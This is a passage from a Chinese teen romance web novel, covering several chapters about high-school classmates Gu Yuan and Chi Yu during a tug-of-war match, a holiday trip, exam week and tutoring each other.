“好，顾鸢你站在这里就行。”
顾鸢一下就知道迟瑜在教室里的话是什么意思了，怪不得急得耳朵都红了。
真没想到，拽哥这么纯情。
顾鸢觉得自己发现了不得了的东西。
听到曹军平话的迟瑜松了一口气。
要说十五班的运气还真是好呢，一来就抽到了一班。
“小曹，加油啊。”
“刘老师也是。”
曹军平在刘老师面前有点怂，顾鸢小声问他，“曹老师，你怎么好像有点怕刘老师？”
曹军平面露苦涩，“那是我以前的班主任，你不怕你的班主任吗？”
顾鸢没想到俩人还有这层缘分，不过，“曹老师，我觉得你不可怕。”
“看来我对你们还是太好了。”
顾鸢扯了扯唇，“那倒没有。”
虽然迟瑜说没有哪个老师会无聊到去看监控，但她跟言酥一样怀疑曹军平会看，不然谁偷玩手机谁捣乱他怎么什么都知道。
两个班的人谁也不服谁，尤其前面的几个，都恶狠狠地瞪着对方。
曹军平给大家打气，“注意节奏，比赛第一友谊第二，千万别受伤。”
秋日的阳光洒在校园的草坪上，比赛一开始顾鸢的心里也开始紧张起来，汗都从手心冒出来了。
绳子在中心线上方拉过来又拉过去，像两只争着吃蚯蚓的小鸡，谁也不肯让谁。
两方僵持不下，最终在同学们的齐心协力下，用尽了最后的力量，终于把绳子拉了过来。
男生把曹军平举了起来。观众的加油声、笑声和热烈的掌声交织在一起响彻校园，汇成一手充满激情的每秒乐章。
顾鸢抬眸正好与迟瑜的视线对上，两人的目光在空中相碰，很快又分开。
“我都不敢想，我们竟然赢了一班唉。”言酥双眸放光，“这下给老曹长脸了。”
“嗯，很棒。”
和一班比完之后还有几场，最后八班第一，十五班第二。曹军平高兴的不行，说等月考结束了就放电影。
江皓阳呢喃，“怎么感觉老曹在画大饼。”
徐百川，“难得你都看出来了。”
江皓阳：“什么意思，你在侮辱我的智商。”
徐百川：“绝对没有。”
言酥靠在顾鸢肩膀上，有气无力道：“累死了，画饼就画饼吧，有总比没得好。”
顾鸢抽出一本练习册翻开，“晚上请你吃夜宵吧。”
“好啊，北门那边有家烤冷面超级好吃。”
言酥来了精神坐好，“一想到国庆假成了三天，我就哪哪都不舒服。”
“没事啊，我跟司机说好了，咱们明天早点出发，然后住上两晚，等收假那天再回来。”顾鸢拿出笔记本，“对了，你怎么没去找英语老师要作业，我看其他人都去了。”
言酥：“我去！”
晚饭回来之后各科课代表争着在黑板上写作业。一沓又一沓的试卷发下来，底下全是哀嚎声。
余荔进门后直接朝顾鸢走来，“曹老师让你叫几个男生去校门口。”
“我我我我，我去。”
“学委，我，我去。”
余荔：“要三个。”
正从前门进来的江皓阳，“三个，我
11. 竹马出现
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三个人都没有说话，气氛安静到诡异。
直到江皓阳突然跑进来，“艹，你猜我刚看到谁了？顾、顾姐？”
顾鸢微笑，“店里没位置了，可以拼个桌吗？”
“当然可以了，顾姐你坐，我去给你们买水。”刚走了两步，江皓阳转过身回来，“忘记了，徐百川在商店，我让他买。”
“谢谢呀。”
“哎呀不用客气。”
“江皓阳跑那么快干什么，叫都叫不住。”徐百川一边说着一边坐到言酥对面。
气氛很快就被江皓阳带起来，差不多快到十一点的时候，迟瑜踢了脚他。
江皓阳说道：“时间不早了，明天还得早起，要不咱们今天先散了。”
徐百川和言酥回了学校。
从店里出去之后，迟瑜语气自然地问顾鸢，“你家里人在哪儿接你？”
“我自己回去就行。”
顾绍辉下午就走了，姜女士去国外了，家里保姆又放了假。
迟瑜把书包甩给江皓阳，“回去给我妈说一声，我送她过去。”
江皓阳笑眯眯道：“明白。”
顾鸢没拒绝，她是有点怕黑。
一路上也没人说话，要过马路的时候，迟瑜顺手抓住顾鸢的书包肩带拿了下来。
顾鸢仰头。
迟瑜先她一步说道：“就你这小短腿走回去天都亮了。”他语气自然，一手提着书包一手插在裤兜里。
顾鸢抿了抿唇，终是说道：“迟瑜？”
“怎么？”
“你要是不说话就好了。”
有辆自行车过来，迟瑜拉了她一把，两人走到人行道上，他挑眉，不解道：“什么意思？”
“我的意思是我才十五，肯定会长的。”顾鸢以前也没怎么注意过身高的事，但每次余荔在眼前晃过的时候，她真的很心动。
迟瑜自上而下打量着她，女生虽然不算高，但身材比例很好，一双腿又白又直。偶尔会听言酥说什么漫画腿，真的一点吹捧的含义都没有。
察觉到自己的行为逾越，他忙撇开视线，胡乱地应了声，“是会长。”
小区里安保很严格，登记了名字才能进去。
不知怎么，迟瑜突然有些不自在。
终于到家，顾鸢从书包里掏出钥匙开门，拿了一双顾绍辉的拖鞋给他，“这是我爸爸的，你凑和穿吧。”
迟瑜面色淡定地嗯了一声，弯腰换上鞋。
“你要喝水吗？”
“不用。”
“那你等会儿，我去拿个东西给你。”
顾鸢说完就拿上书包往楼上走。
迟瑜坐在沙发上，视线扫过四周。
噔噔噔
顾鸢抱着一沓笔记下来放到茶几上。
“我是我初三的时候总结的笔记，我发现你初中落下了很多东西，平时你抽出一点时间慢慢就补上了，这些都是基础，学不懂的话后面会很吃力。”
迟瑜翻开最上面的英语笔记，字迹整齐漂亮，是老师讲的衡水体。
“不看不行吗？”这么几大本东西，他有点头大。
顾鸢坐到单人沙发上，端起茶几上的水喝了一口，“你有没有听说过一句话？”
“什么话？”
“出来混迟早是要还的。”
顾鸢深信这一点，该是什么年纪做什么事她一直都很清楚，也坚信自己要的是什么。
迟瑜看着女孩眸子中透露出不合年龄的神色时，心脏倏地静止了一下。
“时间不早了，我先走了。”
“我送你。”
门口，迟瑜欲言又止。
回到卧室，顾鸢脑子里还重复着迟瑜临走时说的话。
“你刚才喝的水是我喝过的。”
“啊啊啊……”
顾鸢把头埋在被子里，少女耳尖红的像是熟透的柿子。
喝了就喝了，干嘛要说出来？
顾鸢在床上滚了一个来回，找到迟瑜的Q.Q头像点开。
GY：【其实我上次骗了你】
CY：【？】
GY：【那瓶水是我喝过的】
对面没回消息，顾鸢心里舒畅了。
反正他都不记得了。
总不能就她自己一个人脸红难受吧。
看到消息的迟瑜差点把手机摔出去。
艹！！！
这一晚，有人高兴有人愁，有人半晚上没睡着。
第二天闹钟一响，顾鸢从床上爬起来。
和司机说好时间，顾鸢才去洗漱。
先去接的言酥和徐百川，然后再接的迟瑜和江皓阳。
路边的少年身材挺拔高挑，穿着松垮的白色卫衣，灰色运动裤。车子一停，江皓阳先跑去后座补觉，迟瑜只好坐到顾鸢旁边，一上车他就把帽子戴到头上睡觉。
起的太早，大家都在车上补觉，不知不觉，顾鸢的脑袋就靠在了旁边的肩膀上。
迟瑜睁开眼睛偏眸看了眼，女生小脸瓷白，长睫卷翘，像是睡着的洋娃娃，漂亮可爱。
迟瑜猛地收回目光，抬眸时正好和司机的视线对上。
贺明笑笑不说话，很快移开眼。
摇摇晃晃过了两个小时终于到达目的地。
贺明停好车才叫醒他们。
江皓阳：“到了吗？到了？”
贺明笑道：“到了，刚好八点多，餐厅应该还有早餐。”
几人下车，贺明又嘱咐了一番才离开。
言酥张开双臂深呼吸，“好舒服啊，真想一辈子都待在这儿。”
徐百川提着她的书包说了句，“收童工犯法。”
言酥瞪他一眼，“你真是煞风景。”
“浅浅，餐厅在哪儿，我们先去吃饭吧，好饿。”
“走吧。”顾鸢任由她挽着自己的胳膊，带着几人往餐厅的方向走。
一路上江皓阳都咋咋呼呼的，徐百川偶尔应他一声，迟瑜一直沉默不语。
言酥拉着顾鸢的胳膊小声说道：“组长怎么了，他看着好奇怪啊。”
顾鸢扭头看了眼后面，他正低着头看手机。
“不知道啊，可能没睡醒吧。”
言酥不疑有他，“能理解，我没睡醒的时候也不想说话。”
到了餐厅，言酥忙拉住顾鸢的胳膊摇了摇，“那不是池学神吗？”
顾鸢顺着她的目光看过去，池砚舟正倾身和旁边的人说着什么，他的同伴看到了顾鸢几人，跟池砚舟说了什么。
池砚舟转头看过来，眸色惊喜。
顾鸢点头，恰好那边还有一个空桌，几人便过去坐下。
“浅浅。”说话的少年穿着白T外搭一件白色衬衣，清俊的脸上笑容和煦，目光停留在白裙少女身上。
“你们来的这么早？”
“我们昨晚没上自习提前过来了。”
池砚舟的同学有三个，两个男生一个女生。
女生朝顾鸢打招呼，“顾鸢，好久不见。”
“好久不见。”
旁边的男生问：“你们都认识？”
女生道：“认识，我们以前初中一个班的，池砚舟和顾鸢可是青梅竹马呢。”
迟瑜面无表情地踢了江皓阳一脚，江皓阳忙说：“顾姐，好饿。”
池砚舟：“那你们先吃，等会儿一起玩啊。”
“好。”
几人放下书包去了自助区，顾鸢挑食，挑了一圈下来盘子里都没装满。
“吃这么点，怪不得不长。”话落两个包子出现在盘子里。
顾鸢仰头看他，迟瑜错开目光，语气有些别扭，“难不成你在减肥？”
“没有，谢谢。”顾鸢也拿了两个包子放在他盘子里。在男生不解的目光下说道：“礼尚往来。”
迟瑜噎住，等其他人都走了，他才僵着开口，“你昨晚说的、是真的？”
“嗯？什么真的假的？”顾鸢微仰着脖子，眨眨眼。
迟瑜面色僵硬，直勾勾地盯着顾鸢看了半晌。
“反正扯平了。”说完他转身就走，有几分落荒而逃的意思。
顾鸢没忍住噗嗤一声笑了出来。
怎么这么可爱啊。
吃完早餐几人先去房间放东西，三个男生住三人间，两个女生住两人间。
言酥顾左右而言他，“浅浅，你对早恋这件事怎么看？”
顾鸢思考了一会儿，语气认真，“当然不提倡了，你也不要早恋，影响学习。”
言酥松了口气，“吓死了，我还以为你和组长在谈。”
顾鸢正喝水呢，闻言直接呛住，“
12. 改名
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中午还是吃的鱼，纸包鱼。
五人坐在外面的小亭子里，顾鸢和言酥在商量配菜。
“蟹棒、蟹黄包、莲藕、金针菇、土豆、腐竹、豆腐皮，还有什么？”
江皓阳：“我要宽粉。”
“那就这么多了，还有四个凉菜。”
迟瑜带着耳机靠在椅子上打游戏，手指在屏幕上狠戳，浑身泛着冷意，一副莫挨老子的模样。
言酥胳膊肘撞了顾鸢一下，“他怎么回事，你们俩不是去坐船了吗，翻船了？”
可不就是翻了，顾鸢正要说话，眼前突然伸过来一只手，拿走了她的酸奶。
男生单手搓开塑料插上吸管喝了起来，似乎只是顺手拿走，看起来丝毫没有一点破绽。
“他为什么抢你的东西？”言酥嘀咕，“干嘛不自己去拿。”
顾鸢：有没有可能他听得见。
“顾姐，那边有个男生找你。”江皓阳抬手指了指，“好像是你那个竹马。”
哐当
酸奶盒子被丢进垃圾桶里。
几人朝发出动静的人看过去。
江皓阳张了张嘴，“哥你还喝吗，我给你拿一瓶。”江皓阳说着就要去取。
迟瑜哼了声，“不喝，过来打一局。”
江皓阳：预感不妙。
……
顾鸢拿上手机往外走，池砚舟朝顾鸢挥手，两人往花坛里的小亭子走去。
“浅浅，那都是你的新同学吗？”
“是啊。那个女生是言酥，和我们一个初中的。”
“我知道，以前你表演节目或者发言的时候，她的反应最大。”池砚舟微微勾唇，“对了，边秣寄了明信片，还有你的几张，正好帮你带过来了。”
三人是一起长大的好友，边秣初中毕业跟着家里人去了国外，池砚舟考到了宁大附中，而顾鸢去了一中。
成长的第一步，顾鸢体会到的是分别。
“我都以为这丫头把我们忘了。”
顾鸢接过明信片，是很漂亮的风景照。
“怎么可能，她忘了我都不会忘了你，你们吵架我夹在中间为难。不过等高中毕业我们就可以过去找她了。”
池砚舟思索一会儿说道：“浅浅，她不是故意拿考试的事惹你生气的，你一出事，她比你还着急。”
“我知道。”顾鸢眨了眨眼睫，“她偷偷塞的信我都看到了。”
“那就好。”池砚舟松了口气，“我都要被这丫头的短信混炸了。”说着池砚舟把手机打开给她，“你看。”
【顾浅浅那女人没找你问我的事吗？】
【顾浅浅那个狠心的女人真没问我？】
【顾浅浅那个臭女人还没问我？】
……
花园里放了了辆南瓜马车，两人走过去坐下。
池砚舟顺手把马上要掉下来的装饰花扶正，随即问道：“你在一中怎么样，听我妈说阿姨想让你来附中。”
顾鸢无奈笑了笑，“还好，我们班的氛围和我以前遇到的很不一样。”
“其实我觉得换一个环境对你来说或许是好事。”池砚舟说的很认真，“你知道放风筝吗？”
“你是怕我像放风筝一样把线拉的太紧自己会崩掉？那你可想多了，这种事不会出现在我身上。”顾鸢捏着手里的明信片，给它们排序，“池砚舟，我知道自己想要什么，即使迷茫过，但我还是很快就能找到方向，你不用担心我。”
“那你也想多了，我一点都不担心你。这话是边秣让我问你的，她可一直都不放心你。”池砚舟说笑，“我都感觉我在你们俩之间像个千瓦的电灯泡。”
顾鸢咦了一声，撇了撇嘴，“夸张了啊。”
池砚舟叹气，“你自己想想，哪次不是你们俩闹矛盾了我来当和事佬的。”
“这倒是。”
池砚舟：“对了，还没告诉你，我参加了今年的物理竞赛预赛。”
顾鸢惊讶，“不愧是你啊，厉害。”末了她又加了句，“加油。”
池砚舟也道：“你也是，明年的数学竞赛加油。”他知道顾鸢肯定也会参加竞赛，好歹是一起长大的伙伴，这点默契他们还是有的。
“当然。”还要说什么，顾鸢的手机响了几秒挂断了，是言酥打来的。
“应该是饭好了，我先走了。”
池砚舟站了起来，“好，我也过去了。”
……
顾鸢过去的时候，徐百川在陪着言酥打斗地主。
江皓阳面如死灰的靠在沙发上。
迟瑜还在打游戏。
“他怎么了？”顾鸢指了指江皓阳。
言酥小声道：“被迟瑜杀服了。”
顾鸢：？
“就你刚走，他们两个打游戏，结果迟瑜一顿狂杀，江皓阳直接自闭了。”言酥说着都有些不忍，“实惨，太惨了，惨不忍睹。”
顾鸢托着下巴看向对面沉浸在游戏里的男生。
他耷拉着黑长的睫羽，卫衣帽子扣在头上衬得轮廓流畅，衣袖被拉到手肘处，小臂线条完美，双手青筋突戾明显，光是坐在那，便自带一股散漫与不屑。
时间一到，言酥立马丢开手机，“终于好了，饿死我了。”
江皓阳也一骨碌坐起来，语气愤愤的，“我要一个人吃完一条鱼。”
徐百川笑他，“那要是吃不完呢？”
“我打包，晚上继续吃。”
几人无语。
顾鸢正要去撕纸袋，眼前横出一只手，随机响起一道冷嗤，“大小姐身娇体贵，哪能做这种粗活。”
顾鸢眨了眨眼，把手收了回来，笑咪咪道：“那就麻烦你了，迟哥。”
男生指尖一顿，抬眸朝她看过来，“你叫我什么？”
“江皓阳不是这样叫你的吗？难不成这是他的专属？”
女生小脸微仰，琥珀色眼眸澄澈，叫人看着无辜纯净。
“你跟他学什么。”迟瑜低头继续摆弄纸袋。
“哦。”顾鸢若有所思，“那迟瑜，麻烦你了。”
迟瑜被噎住。
还真是会说话。
鲜香萦绕鼻尖，鱼肉鲜嫩多汁。食欲一下被勾起来。
吃完中午休息的时候，迟瑜和江皓阳坐在酒店房间里的桌子上写卷子，江皓阳受不了，也爬起来跟着他们写。
我的摆烂固然可怕，朋友的内卷更令人揪心。
卷卷卷，卷死他们得了。
江皓阳写了一张卷子就受不了了。手里的笔啪地往出去一丢，直接趴到床上装死。
“江皓阳，你不是说要在月考的时候一鸣惊人吗？”徐百川拿起笔袋朝他丢过去，“才多久你就放弃了。”
江皓阳翻了个身正面朝上，哭丧道：“哥，二位哥，我真不适合干这行，饶了我吧。”
“苍天哪，大地呐，为什么世界上会有学习这种东西，为什么学生会有考试这种酷刑，我真的好难呐。”
“好难呐……，啊啊啊……”
迟瑜直接放下笔走到床前把人揪起来，“要不安静睡觉，要不做题。”
江皓阳往下一蹲闪现到门口，“我选择眼不见心为净。”说完利落的从门缝里溜了出去。
没一会儿，迟瑜也把手里的笔丢了出去，靠在椅子上仰头看着天花板，双眸一动不动的。
徐百川停下笔看他，“你怎么回事？”
“什么？”
“别装。”徐百川把椅子往前挪了挪，语气认真，“我们从穿开裆裤就玩在一起，我还能看不出来你有问题。”
迟瑜抱着双臂指尖轻点，一下一下的，没什么规律，看得出心里很乱。
徐百川继续道：“你认真的？”
“什么真的假的？”
13. 友谊价
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顾鸢看他神色严肃，以为是什么大事，点点脑袋，“有，怎么了？”
面前的女生小脸素净，一双眼眸澄澈明亮，迟瑜捏了捏垂在身侧的手指，嗓音发紧，“有道题不会。”
就这？
她还以为怎么了。
庄子里有间茶室，以前顾绍辉来的时候总喜欢待在这里，姜之遥在一旁办公，他就煮茶吹曲，他闲暇的时候学了吹埙，没事就要来一曲。
为了方便讲题，两人坐到了同一侧。
迟瑜拿的是假期作业，最后有两道大题确实有些难度，里面涉及到的一些东西他们还没有学。
一遍讲完，迟瑜脑子里想的都是那什么池是不是肯定会，他为什么就想不到。
她怎么这么难得题都会。
看迟瑜走神了，顾鸢拿笔在桌子上敲了敲，语气严肃，“集中注意力。”
迟瑜回神，看着女生认真的小脸，问她，“你怎么这么难的题都会？”
顾鸢微怔，以为他是被打击到了，安慰道：“你不用气馁，我会是因为这些我都学过了。高中数学和初中不一样，很多人一开始会反应不过来，但你这么聪明，多用点心肯定就跟上了。”
“都学过？”
“嗯，我初中的时候就学了。”
迟瑜气结。
什么怪物，初中就把高中的学了。
看迟瑜的眼神顾鸢就知道他想岔了，解释道：“也就学了数学。”要是都学了她早累死了。
迟瑜凝眸看着她，片刻后收回目光，淡淡地嗯了一声。
帮迟瑜讲了两道题，顾鸢就困了，脑袋有一下没一下的点着，迟瑜一只手撑着下巴，眼底透着笑意。
没一会儿，顾鸢就趴在胳膊上睡着了。
这儿离空调有些近，迟瑜庆幸自己出来的时候多拿了一件外套，小心翼翼的盖在女孩身上。
窗外清风拂过，云浪翻滚浮沉，变幻无状，湛蓝的天空染上一抹胭红，再被吞没……
找厨房借了东西，几人打算在外面烧烤。
言酥和顾鸢跑去摘了几片荷叶，徐百川又来了兴致要吃叫花鸡。
“你们相信我，迟哥弄得叫花鸡超级好吃，没吃过都是你们的损失，我就吃过一次。”
顾鸢眼睛都瞪圆了，“真的？”
“那是。”江皓阳把刚搬来一箱子碳的迟瑜拉过来，“迟哥，顾姐想吃你弄的叫花鸡。”
迟瑜偏头看过来。
顾鸢：她还没说。
“是江皓阳把你夸得天上有地上无的，所以我就很好奇，你真的会？”
闻言男生“切”了一声，“说的有多难一样。”
江皓阳差点跳起来，“那我去厨房买鸡。”
顾鸢把手里的荷叶递给言酥，“我去吧。”
“我去。”迟瑜多解释了一句，“还需要一些调料。”
江皓阳拉上徐百川，“咱俩找土块。”
言酥：“我跟你们一起。”
……
顾鸢侧眸看了眼男生，感叹道：“没想到你还会这些。”
迟瑜微微勾起唇角，语气高了几分，“这很难？”
“难不难我不知道，但我不会。之前有一次家里阿姨请假了，我兴致一来就去厨房做了饭给我爸爸送到了学校。我爸爸在他同事面前炫耀了一圈才吃。不过、”
“不过什么？”
“不过当天下午我爸爸就进医院了。”
迟瑜脚步停顿了一下，“你做的什么？”
顾鸢语气自然，“番茄草莓黄瓜拌面，还有可乐乌鸡汤。”
迟瑜没有说话，顾鸢继续道：“我妈妈回来之后庆幸地说还好她出差了。”叹了口气，她又补充道：“我都没告诉她其实她的那一份我放冰箱里了。”
迟瑜服气道：“牛逼。”
顾鸢有些不好意思，“还好吧，我后来做的豆芽拌苹果我们家阿姨还夸我了。”
会不会人家说的是反话。
迟瑜看着身侧絮叨的女孩儿一时有些失神，以至于后面又说了什么他也没记住。
不过有一点他很确定。
这位是个厨房奇才。
神他妈番茄草莓黄瓜拌面、可乐乌鸡汤、豆芽拌苹果。
这能搭一起？
后厨的李师傅听了迟瑜的要求把用的到的和用不到的都给他们准备好了。
“小姐，要不我帮你拿过去。”
“不用。”这会儿正是晚餐时间，厨房最忙的时候，顾鸢指了指迟瑜，理直气壮道：“他拿。”
“好好。”把东西都塞进一个篮子里，李师傅再塞到迟瑜手上，“幸苦小伙子了。”
“麻烦您了，您忙，我们就不打扰了。”
李师傅忙笑道：“小姐客气了，还缺什么我电话就好，我让人给你们送过来。”
迟瑜站在旁边，等两人说完才跟在顾鸢身后出来。
他调侃道：“果然跟着顾姐有肉吃。”
顾鸢仰起脖子，眼眸弯弯，“还得靠迟哥的手艺呢。”
迟瑜哼了哼，“友谊价五百，不能再少了。”
顾鸢商量道：“打个折呗。”
“9.9最多。”
顾鸢：“……”
龟毛。
“咱俩什么关系，谈钱多伤感情。”
迟瑜眉心一跳，“哦，是谁一上来就跟我谈钱的？”
顾鸢就没见过他这么小气的人，她笑道：“那不是还不熟？现在不一样呀。”
舌尖轻抵下齿，迟瑜喉咙紧了紧，“哪不一样？”
“以前不认识，现在是同学啊。”顾鸢说完又补充道：“而且我们不是在互相补课，算起来我也是你半个老师了。”
迟瑜沉默半晌，幽幽道：“顾老师，你有发现自己带错路了吗？”
闻言顾鸢停下脚步，“错了？”
明明就是这边啊，哪儿错了？
迟瑜嗯了一声，“错的离谱，南辕北辙。”
顾鸢囧，抱怨道：“那你怎么不早说？”
男生语气淡淡，“我也才发现。”
顾鸢：“……”
服了。
……
绕了一圈，两人回去的时候徐百川和江皓阳已经把窑都烧起来了。
江皓阳瞧见两人来了，直接道：“你们两个是去西天取经了吗？这么久才来。”
迟瑜长腿一伸踢了他一脚，“就你话多。”
等叫花鸡熟还要一个多小时，几人决定先吃烧烤。
顾鸢托着下巴看男生刷油烤肉，嘴里吸着柠檬水。
旁边的言酥感叹，“这样一看，徐百川还挺好看的。”
顾鸢点了点脑袋，“迟瑜也挺好看的。”
忽然想起什么，顾鸢放低了声音，“话说迟瑜也挺帅的，怎么没看到过女生给他表白送东西什么的。”
言酥收回目光，神色有些纠结。
顾鸢继续追问：“怎么了，不能说？”
言酥点了点头，又摇了摇头，最后说道：“就是他之前有些不好的谣言，所以喜欢他的女生都不敢靠近他。”
“谣言？”顾鸢正打算细问，余光看到迟瑜拿起烤好的肉串放到盘子里朝这边看过来。
迟瑜扬声，“大小姐，可以吃了。”
言酥嘀咕，“他怎么叫你大小姐啊，我都没叫过。”
顾鸢：“……”
“他就是调侃我，这是哪跟哪儿啊？”
“哦”
晚上吃的有点多，两个女生回到房间后躺在床上聊天。
顾鸢还是想知道谣言的事情，追着言酥又问。
言酥咬咬唇，“其实这事我也只是听说，要是你真的想知道，我觉得你可以问问江皓阳和徐百川。”
言酥这么遮掩，顾鸢难免就想到了不好的事上，突然想起来那天操场她对自己的劝告。
“所以你那个时候说要我离他远一点也是因为那些谣言？”
言酥面色有些难堪，“我那个时候就是随波逐流，不清
14. 断层第一
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第三天考完剩下三门，所有同学彷佛没了半条命。
晚读的时候也没有人下去背书了，都想静静。
老师都去阅卷子了。不少人的心思活络起来。
“学委，咱不放个电影什么的吗？”
这话一出，其他人纷纷附和。
“是啊学委，血槽都空了，恢复一下吧。”
“隔壁班都开始了，我们不能落后。”
“靠！这帮龟孙，不知道关门。”
“我想搬个凳子过去。”
顾鸢忍俊不禁，说的也太可怜了。
言酥也朝她露出可怜兮兮的表情。
顾鸢：她放。
刚从座位上起来，曹军平就进来了。
教室里瞬间安静如鸡。
曹军平怔住，“这么听话我都有点不适应了。顾鸢给大家放个电影，余荔管好纪律。”
话落，底下的同学都开始吼起来。
“曹哥我爱你。”
“曹哥你就是我的神。”
“曹哥你是我亲哥。”
曹军平笑得眯起眼睛，“行了行了，拍马屁的话不要说，等成绩出来咱们再一个一个聊。”说着曹军平把手里的袋子放到讲台上，“迟瑜你上来把东西发了。”
“什么呀曹哥这么神秘？”
“不会又是好吃的吧。”
“不会吧不会吧？”
等曹军平一走，离得近的那个同学拨开袋子。
“我去！阿尔卑斯。”
曹军平自费买了糖，每个同学两个，高一这栋楼的灯几乎都关了在看电影，难得的放松。
顾鸢靠在椅子上，后面有的同学看不清坐到了前面，她旁边坐的就是林雪。
林雪是学芭蕾的，长得很漂亮，身段也非常好。
在她第十五次偷看过来的时候，顾鸢扭头回看过去。
林雪怔住，语气不自然地说道：“看我干什么？”说完就扭回了脑袋。
顾鸢语气诚恳，“你好看。”
林雪：……
她什么意思。
言酥也懵了，怔怔道：“你夸她好看。”
顾鸢点点脑袋，一本正经道：“事实而已，她确实好看。”
林雪神色不太自然地咳嗽了一声，接下来的时候都没有再看过来。
电影放完之后还有半个小时才下课，教室里的灯都打开了，大家开始干自己的事情。
言酥拿出一本格子本和顾鸢下五子棋。顾鸢画圆，她画勾。
画完第五个圈，顾鸢又赢了，言酥有气无力道：“我今晚回去能睡到明天下午六天。然后起床吃个饭，再回学校接受现实，时间正好。”
顾鸢拿橡皮擦把纸面擦干净，又画下一个圈，随口道：“一中阅卷老师效率这么高？”
言酥重重点脑袋，“可不，你知道高三和高四一周三考吧，这都能阅出来，老师的手都不是一般的手，是装了加速器的手。”
顾鸢画下第五个圈，“服气。”
又下了几局，下课铃一拉响，同学们纷纷冲出教室。
这几天顾绍辉没来接都是迟瑜送她回去，今晚也是，顾鸢买了两根淀粉肠给了迟瑜一根。
刚过马路，顾鸢就看到了姜之遥的车。
迟瑜看她突然停下来，调侃道：“怎么，一个考试你连走路的力气都没有了。”
顾鸢张了张嘴巴，语气僵硬，“我妈。”
“什么？”迟瑜一惊，顺着她的目光看过去，就看到马路对面停着一辆黑色的迈巴赫。
顾鸢没有动作，只是小声说道：“我妈妈来接我了。”
迟瑜嗯了一声，面色不明，“明天见。”
顾鸢把手里咬了两口的淀粉肠塞他手里，“帮我处理掉，谢谢。”
迟瑜：？
车上
姜之遥在看电脑处理文件，直到顾鸢上车她才抬起脑袋。
“妈妈，您出差回来了。”
姜之遥的视线在她身上扫了一下，把小蛋糕递给她，“感觉怎么样？”
顾鸢知道她问的是考试，缓了几秒才开口，“没什么大问题。”
姜之遥淡淡地嗯了一声，“你自己有把握就行，明天我带你，睡醒了就给司机打电话，你直接来公司，中午我们一起吃饭。”
顾鸢的眼睛晕上一层星光，甜甜道：“好。”
母女俩再没有说话。
到家后，小组群里在问明天一起要不要去吃火锅，有家新开店的评价不错，学生去了还有优惠。
顾鸢勾着唇打字。
顾鸢：【明天什么时候？】
江皓阳：【当然是下午，中午谁起得来？】
言酥：【我要睡到下午六点】
徐百川：【猪】
言酥：【滚】
几人一直在无聊的斗图，没看到迟瑜的消息，顾鸢打开他的聊天框，爬起来在书桌上翻开练习册拍了一道物理题发过去。
对面没回，顾鸢猜测他可能在忙，索性去浴室洗了个战斗澡，花五分钟洗完吹干头发再看手机的时候对面正好发来了消息。
【打字说不清楚，视频】
顾鸢咬了咬下唇，这套房子是复式，二楼就她一个人住，平时也没人上来打扰她。
想了想，她回了个好字，然后找出耳机线插上。
几乎是一回消息，视频就打过来了。
蓦地出现一张放大的俊脸，顾鸢屏住了呼吸。
对面的男生似乎是刚洗了澡，头发是半干的，脸上还有没擦干的水珠。
就是很赏心悦目。
好看。
而对面，迟瑜看着屏幕里出现的人呼吸也顿住了。
女孩穿着白色的荷叶领睡衣，小脸泛着粉，一双眼眸水润湿漉，一看就是刚从浴室出来。
他忙将摄像头反转对准了书桌上的稿纸，语气有些急。
“你看这里……”
男生清冽的声音从耳机里传出来，顾鸢也跟着他的思路往下走。
寂静的夜色里，窗外蝉鸣声起伏，书桌前亮着两盏台灯，不同的房间里，两个人的思绪同频，也呼吸也几乎一致。
解决了一道题，顾鸢刚要说话，敲门声响起。
她吓得摘到耳机和手机一起塞进被子里。
平复了呼吸，顾鸢打开门就见姜之遥换了睡衣，手里端着一杯牛奶。
“还在学习？”
顾鸢点了点头，“做了一道题。”
姜之遥把牛奶给她，“早点休息，不要熬太晚。”
“好。”顾鸢接过来慢慢喝完，姜之遥接过空杯子离开。
关上门顾鸢才松了口气。
等坐到床上才反应过来，她心虚什么？
把手机从被子里翻出来，顾鸢发现迟瑜竟然还没有挂断。
她放低了声音，“不好意思，我妈妈刚给我端了一杯牛奶。”
迟瑜转笔的手停了下来，轻笑一声，“确实要多喝。”
顾鸢：“什么意思？”
迟瑜：“不然怎么长高？”
顾鸢翻了个白眼，意识到他看不见，语气也不好道：“就你腿长，小心缺钙抽筋。”
迟瑜的语气吊儿郎当的，似笑非笑，“这你大可放心，绝对没有这种情况。”
然而这话在几个小时候就被打脸了，迟瑜小腿抽筋直接疼醒。
第二天一起来他就去了药店买钙片。
这边顾鸢一觉睡到十一点多才醒来，洗漱完换了一身衣服就给贺明打了电话。
姜女士的公司坐落在宁宜商业街最繁华的地段，前台都认识顾鸢，对于这个长得好看又有礼貌的大小姐很是喜欢。
“林姐姐。”
“顾小姐来找姜总啦？”
“是呀。”
顾鸢自己去了姜之遥的办公室，秘书拿了自己的小零食分给她，“顾小姐，都是你喜欢的口味。”
“谢谢。”
姜之遥不在，顾鸢盘腿坐在沙发旁的地毯上开始看书。
因为顾鸢经常光脚跑，所以家里很多地方都铺了地毯。比起书桌，顾鸢其实更喜欢坐在地上就着茶几看书。
姜女士很忙，直到12点半才踩着高跟鞋回来。
要不是有小零食垫着，顾鸢觉得她的肚子早就瘪了。
15. 不来
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顾鸢被言酥拉到一楼看成绩。
最上面的名字是她，断层第一。
有不少人认出了她。
“她就是顾鸢？”
“中考缺考那个？”
“林伟业比她低了二十分，魔鬼吧？”
言酥抱着顾鸢的胳膊，呆愣地仰着脖子，喃喃道：“顾鸢，你做到了。”
顾鸢微微勾着唇角，没有说话。
看成绩的同学很多，推搡中顾鸢被撞到往后仰去，本来都做好了摔倒的准备，突然一条手臂揽在她身后，把她稳稳地拖住。
清冽的薄荷清香袭入鼻尖，顾鸢心底一安。
“站好了？”
“好了。”
回到教室之后，顾鸢明显发现班里同学看她的眼神变了。
江皓阳夸张的帮她拉出凳子，还装模做样地抽了张纸巾擦了擦，语气恭敬的像宫里伺候皇帝的小太监。
“顾姐，您坐。”
顾鸢撩起眼皮看过去，迟瑜抱臂坐在自己的位置上，微抬着下巴，指腹在手臂上摩挲，望过来的眼眸漆黑深邃，深深的漩涡像是要把人吸进去。
顾鸢垂下眼睫坐下，笑道：“谢谢。”
她一落座，周围立马围满了人，他们七嘴八舌的说了起来。
“顾姐，你就是我们班的神。”
“这下我们班出去可有排面了。”
“断层第一啊，我以后出门弯个背都对不起顾姐。”
顾鸢张了张嘴巴，讪讪道：“也不用这么严重。”
她以前成绩好的时候也没遇到过这种情况。
以往她周围的人出了成绩都是看一眼就回到座位上继续看书，根本激不起什么波澜。
这些人反应也太大了。
